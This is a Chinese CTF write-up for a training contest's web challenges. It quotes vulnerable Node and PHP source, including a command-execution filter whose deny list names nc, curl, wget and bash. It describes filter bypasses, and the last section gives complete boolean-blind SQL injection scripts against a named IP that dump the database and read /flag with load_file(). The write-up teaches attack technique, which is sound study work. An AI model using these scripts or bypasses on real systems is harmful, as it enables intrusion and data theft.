训练赛第一周wp

web

read-data

下载app.js,贴个源码。

const express = require('express')

const app = express();
const port = 3000;
const fs = require('fs')
try {
    const inputD = fs.readFileSync('table.txt', 'utf-8');
    text = inputD.toString().split("\n").map(e => e.trim());
} catch (err) {
    console.error("读取文件出错:", err);
    process.exit(1);
}

app.get('/', (req, res) => {
    if (!req.query.name) {
        res.send("你查询了吗? XD")
        return;
    }
    let goodLines = []
    text.forEach( line => {
        if (line.match(req.query.name)) {
            goodLines.push(line)
        }
    });
    res.json({"查询结果":goodLines})
})

app.get('/:id/:firstName/:lastName', (req, res) => {
    
    res.send("FLAG")
})

app.listen(port, () => {
    console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

发现GET传参name。还有一个路径格式能返回flag。

app.get('/:id/:firstName/:lastName', (req, res) => {
    
    res.send("FLAG")
})

先传参看一看,?name=a。发现:

下翻到Flag Holder。根据提示说Ricardo Olsen的id为1。则路径/1/Ricardo/Olsen便能返回值,所以只需要找到Flag Holder的序号就能返回flag。

传参?name=["__proto__":{"id":,"firstname":,"lastname":}]发现能查询出全部数据,得知Flag Holder为50。

最后发现序号为51,./51/Flag/Holder获得flag。

rce_me

贴一下PHP源码。

<?php
error_reporting(0);

highlight_file(__FILE__);

function is_safe($input) {
  $blacklist = [
    '\.\.',
    '(php|file|glob|data|tp|zip|zlib|phar):',
    'flag'
  ];
  $pattern = '/' . implode('|', $blacklist) . '/i';
  return !preg_match($pattern, $input);
}

$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);

if (is_safe($requestBody) && isset($parsedJson) && isset($parsedJson['pages'])) {
  $pageUrl = $parsedJson['pages'];
  $pageContent = file_get_contents($pageUrl);
  if (!$pageContent || !is_safe($pageContent)) {
    $pageContent = "<p>not found</p>\n";
  }
} else {
  $pageContent = '<p>invalid request</p>';
}

$pageContent = preg_replace('/flag\{.+\}/i', 'flag{123}', $pageContent);
echo json_encode(['content' => $pageContent]);
?>

过滤了好一些伪协议,POST传json格式的数据,并用json_decode()函数解析。来看看json_decode()函数的特性。

json_string必须是UTF-8编码数据,也就是说,我们可以将伪协议转化为UTF-8编码,绕过过滤。POST传json数据得到flag。

 simple_php

根据提示flag在根目录下的flag.txt里。

贴代码。

 <?php
error_reporting(0);

highlight_file(__FILE__);

function is_safe($input) {
  $blacklist = [
    '\.\.',
    'flag',
    '\\\\'
  ];
  $pattern = '/' . implode('|', $blacklist) . '/i';
  return !preg_match($pattern, $input);
}

$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);

if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false ) {
    $cmd = $parsedJson['cmd'];
    if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|date|bash|env|\?|wget|\'|\"|whoami/i', $cmd)) {
        system($cmd);
        print_r("Ok,I seem to be safe!");
    }
} 

代码审计发现上一题的考点对这一题没用,可以用拼接法绕过正则匹配,但是'.'不好绕过,我也是翻了好多博客才发现解法,用base64编码绕过。同样是POST传json数据。

simple_php_revenge

看代码。

<?php
error_reporting(0);

highlight_file(__FILE__);

function is_safe($input) {
  $blacklist = [
    '\.\.',
    'flag',
    '\\\\'
  ];
  $pattern = '/' . implode('|', $blacklist) . '/i';
  return !preg_match($pattern, $input);
}

$requestBody = file_get_contents('php://input');
$parsedJson = json_decode($requestBody, true);

if (is_safe($parsedJson['cmd']) && isset($parsedJson['cmd']) && strpos($requestBody, '\u') === false ) {
    $cmd = $parsedJson['cmd'];
    if (!preg_match('/ls|\`|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|date|bash|env|\?|wget|\'|\"|whoami/i', $cmd)) {
        system($cmd);
        print_r("Ok,I seem to be safe!");
    }
}

过滤了很多,但对上一题的payload没有过滤。继续用。

 msgg看来我的payload说是非预期,并说他还会发一个rerevenge。

人才(做的)管理系统 by hacked_1,2,3

这三个题和在一起讲。

第一个flag

直接./index.html进去就有flag,纯手速题。

第二个flag

登录页面,这里我进后台注册了一下,后面好进行bool判断,抓包。

POST: username=a&password=a'and(1)# 放包。

POST: username=a&password=a'and(0)# ,放包。

说明有bool判断,可以进行布尔盲注,直接全部爆。

直接上脚本。

import requests
url="http://47.121.24.182/login"
database=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="a'and(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))<={})#".format(i,mid_num)
        data={"username":"a","password":payload}
        res=requests.post(url,data=data)
        if res.status_code==200:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    database+=chr(mid_num)
    print(database)
table=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="a'and(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))<={})#".format(i,mid_num)
        data={"username":"a","password":payload}
        res=requests.post(url,data=data)
        if res.status_code==200:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    table+=chr(mid_num)
    print(table)
column=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="a'and(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))<={})#".format(i,mid_num)
        data={"username":"a","password":payload}
        res=requests.post(url,data=data)
        if res.status_code==200:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    column+=chr(mid_num)
    print(column)
flag=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="a'and(ascii(substr((select(group_concat(Id,':',flag))from(flag)),{},1))<={})#".format(i,mid_num)
        data={"username":"a","password":payload}
        res=requests.post(url,data=data)
        if res.status_code==200:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    flag+=chr(mid_num)
    print(flag)

这里我用的是二分法,判断条件是响应码,只过滤了空格。直接出flag。

第三个flag

提示说是在根目录下面,sql查根目录文件用load_file()函数,也是用布尔盲注。

上脚本。

import requests
url="http://47.121.24.182/login"
flag=""
for i in range(1,100):
    min_num=32
    max_num=127
    mid_num=(min_num+max_num)//2
    while(min_num<max_num):
        payload="a'and(ascii(substr((select(load_file('/flag'))),{},1))<={})#".format(i,mid_num)
        data={"username":"a","password":payload}
        res=requests.post(url,data=data)
        if res.status_code==200:
            min_num=mid_num+1
        else:
            max_num=mid_num
        mid_num=(min_num+max_num)//2
    if(chr(mid_num)==" "):
        break
    flag+=chr(mid_num)
    print(flag)

 

posted @ 2024-07-12 15:33  duskto  阅读(20)  评论(0)    收藏  举报